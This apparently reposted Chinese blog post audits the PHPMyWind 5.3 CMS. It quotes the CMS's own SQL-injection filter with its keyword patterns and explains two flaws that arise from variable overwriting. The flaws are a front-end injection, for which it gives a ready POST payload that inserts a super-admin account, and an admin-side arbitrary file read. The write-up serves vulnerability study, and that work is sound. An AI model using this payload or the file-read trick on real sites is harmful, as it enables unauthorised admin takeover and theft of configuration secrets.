phpmywindV5.3审计之旅

0x00 前言

这是我代码审计的开始,第一次独立审计一个CMS(期间还是参考了师傅的文章)。遇到了不少的坑,不过也增长了一些经验和见识。希望之后能越走越好吧~

0x01 关键代码分析

1.首先查看核心的文件,在include/common.inc.php中了解到了一些东西.直接贴代码吧。

//检查外部传递的值并转义
function _RunMagicQuotes(&$svar)
{
    //PHP5.4已经将此函数移除
    if(@!get_magic_quotes_gpc())
    {
        if(is_array($svar))
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if(strlen($svar)>0 &&
               preg_match('#^(cfg_|GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$svar))
            {
                exit('不允许请求的变量值!');
            }

            $svar = addslashes($svar);
        }
    }
    return $svar;
}


//直接应用变量名称替代
foreach(array('_GET','_POST') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        if(strlen($_k)>0 &&
           preg_match('#^(GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$_k))
        {
            exit('不允许请求的变量名!');
        }

        ${$_k} = _RunMagicQuotes($_v);
    }
}

2.再看关键的sqlcheck部分。

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
    function CheckSql($sql, $querytype='select')
    {
        $clean   = '';
        $error   = '';
        $pos     = -1;
        $old_pos = 0;


        //如果是普通查询语句,直接过滤一些特殊语法
        if($querytype == 'select')
        {
            if(preg_match('/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/', $sql))
            {
                $this->DisplayError("$sql||SelectBreak",1);
            }
        }

        //完整的SQL检查
        while(true)
        {
            $pos = strpos($sql, '\'', $pos + 1);
            if($pos === false)
            {
                break;
            }
            $clean .= substr($sql, $old_pos, $pos - $old_pos);

            while(true)
            {
                $pos1 = strpos($sql, '\'', $pos + 1);
                $pos2 = strpos($sql, '\\', $pos + 1);
                if($pos1 === false)
                {
                    break;
                }
                else if($pos2 == false || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }

            $clean .= '$s$';
            $old_pos = $pos + 1;
        }

        $clean .= substr($sql, $old_pos);
        $clean  = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
        if(strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'union detect';
        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
        else if(strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
        {
            $fail  = true;
            $error = 'comment detect';
        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
        else if(strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'slown down detect';
        }
        else if(strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'slown down detect';
        }
        else if(strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'file fun detect';
        }
        else if(strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'file fun detect';
        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
        else if(preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'sub select detect';
        }

        if(!empty($fail))
        {
            $this->DisplayError("$sql,$error",1);
        }
        else
        {
            return $sql;
        }
  }

可以知道对代入sql语句的数据过滤还是比较全面的,加上前面的转义,所以说直接对网站从交互部分进行sql注入是比较难得(当然是对我来讲)。

看过了核心的配置文件后,知道了可能会出现的漏洞点,就进入的全站代码的审计。

0x02 发现前台sql注入之写入管理员账号与利用

漏洞发现在member.php中

//完善账号
else if($a == 'perfect')
{
    //初始化参数
    $username   = empty($username)   ? '' : $username;
    $password   = empty($password)   ? '' : md5(md5($password));
    $repassword = empty($repassword) ? '' : md5(md5($repassword));
    $email      = empty($email)      ? '' : $email;


    //验证输入数据
    if($username == '' or
       $password == '' or
       $repassword == '' or
       $email == '')
    {
        header('location:?c=perfect');
        exit();
    }


    if($password != $repassword)
    {
        header('location:?c=perfect');
        exit();
    }


    $uname_len = strlen($username);
    $upwd_len  = strlen($_POST['password']);
    if($uname_len<6 or $uname_len>16 or $upwd_len<6 or $upwd_len>16)
    {
        header('location:?c=perfect');
        exit();
    }

    if(preg_match("/[^0-9a-zA-Z_@!\.-]/",$username) or
       preg_match("/[^0-9a-zA-Z_-]/",$password) or
       !preg_match("/^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$/", $email))
    {
        header('location:?c=perfect');
        exit();
    }

    $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `username`='$username'");
    if(isset($r['id']))
    {
        ShowMsg('用户名已存在!','-1');
        exit();
    }

    $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `email`='$email'");
    if(isset($r['id']))
    {
        ShowMsg('您填写的邮箱已被注册!','-1');
        exit();
    }


    //添加用户数据
    $regtime  = time();
    $regip    = GetIP();


    if(check_app_login('qq'))
    {
      ...
    }
    else if(check_app_login('weibo'))
    {
        ...
   }
$dosql->ExecNoneQuery($sql); //用绑定账号登录 $cookie_time = time()+3600; setcookie('username', AuthCode($username ,'ENCODE'), $cookie_time); setcookie('lastlogintime', AuthCode($regtime ,'ENCODE'), $cookie_time); setcookie('lastloginip', AuthCode($regip ,'ENCODE'), $cookie_time); ShowMsg('完善账号成功!','?c=default'); exit(); }

看添加用户那一块,注意 $dosql->ExecNoneQuery($sql); 这段语句是在if或者else if逻辑之外的,只要我们不是qq或者微博登录,就可以使用这个语句,再加上$sql可控,也就导致了语句可控。

再看$dosql->ExecNoneQuery($sql);  这是数据库语句,跟踪ExecNoneQuery()这个function

//执行一个不返回结果的SQL语句,如update,delete,insert等
    function ExecNoneQuery($sql='')
    {
        global $dosql;
     ....
    }

可以看到该CMS作者提示说这是一个执行insert,delete,update的函数。

加上$sql可控,就想到写入一个具有管理员权限的账号。

漏洞利用

 

漏洞的触发条件:

1.$a == 'perfect'

 

2.$username,$password,$repassword,$email不为空

 

3.$password==$repassword

 

4.$username,$email是未被注册过的

 

5.非qq,微博直接登录

利用方法

注册一个账号,登陆后访问 http://127.0.0.1/PHPMyWind_5.3/member.php?a=perfect 

然后post:

username=123asd&password=asdqwe&repassword=asdqwe&email=hhh@qq.com
&sql=insert into pmw_admin (`username`,`password`,`levelname`) values(12345,0x3166333261613463396131643265613031306164636632333438313636613034,1)

注意:

1.这里要求传入password(12345)为两次md5后的值,但是如果直接传入的话会报sql错误警告(有过滤),所以就直接将md5后的值在hex,就可以绕过过过滤。

2.levelname是用户权限等级,1表示超级管理员权限,若不加入则不能得到超级管理员权限。

这两个注意点也是我原先遇到的坑,后来看到一些师傅的文章才清楚。

最后12345 12345直接后台登录

写入成功!

0x03 后台任意文件遍历

文件 admin/editfile_update.php

if($action == 'update')
{
    if($cfg_editfile == 'Y')
    {
        //设置读取目录
        $dir = PHPMYWIND_ROOT.'/';
    
        //处理写入内容
        $content = stripslashes($content);
        $content = str_replace("##textarea","<textarea",$content);
        $content = str_replace("##/textarea","</textarea",$content);
        $content = str_replace("##form","<form",$content);
        $content = str_replace("##/form","</form",$content);
    
        //内容写入文件
        Writef($dir.$filename, $content, 'w');

        ShowMsg('文件保存成功!','editfile.php');
        exit();
    }
    else
    {
        ShowMsg('后台不允许直接编辑PHP文件!','editfile.php');
        exit();
    }
}


//显示编辑文件
if(!empty($filename))
{
    //设置读取目录
    $dir        = PHPMYWIND_ROOT.'/';
    $filename   = iconv('utf-8', 'gb2312', $filename);
    $gbfilename = mb_convert_encoding($filename, 'utf-8', 'gb2312');

    if(file_exists($dir.$filename))
    {
        $content = '';
        $fp = fopen($dir.$filename, 'r');

漏洞点  $fp = fopen($dir.$filename, 'r'); 

与上一个注入点相似,if($action == 'update'),只要不进入这个if就可以触发漏洞点。$dir为根目录,filename这里是可控的。

也就可以读取关键的配置文件了。

0x04 总结

这个CMS的两个漏洞大部分成因都是因为使用伪全局变量所引起的变量覆盖所导致的,所以在以后的代码审计中遇到这个点要多加注意。

此外,漏洞的触发条件也要收集完全,一 一满足后才能够触发,每个环节都是缺一不可。exp构造也要注意是否满足网站中所规定的格式,才能达到最初的利用效果。

 

总而言之,安全之路长漫漫,学习的东西还有很多很多。继续前行。

 

转载于:https://www.cnblogs.com/c1e4r/articles/8205998.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值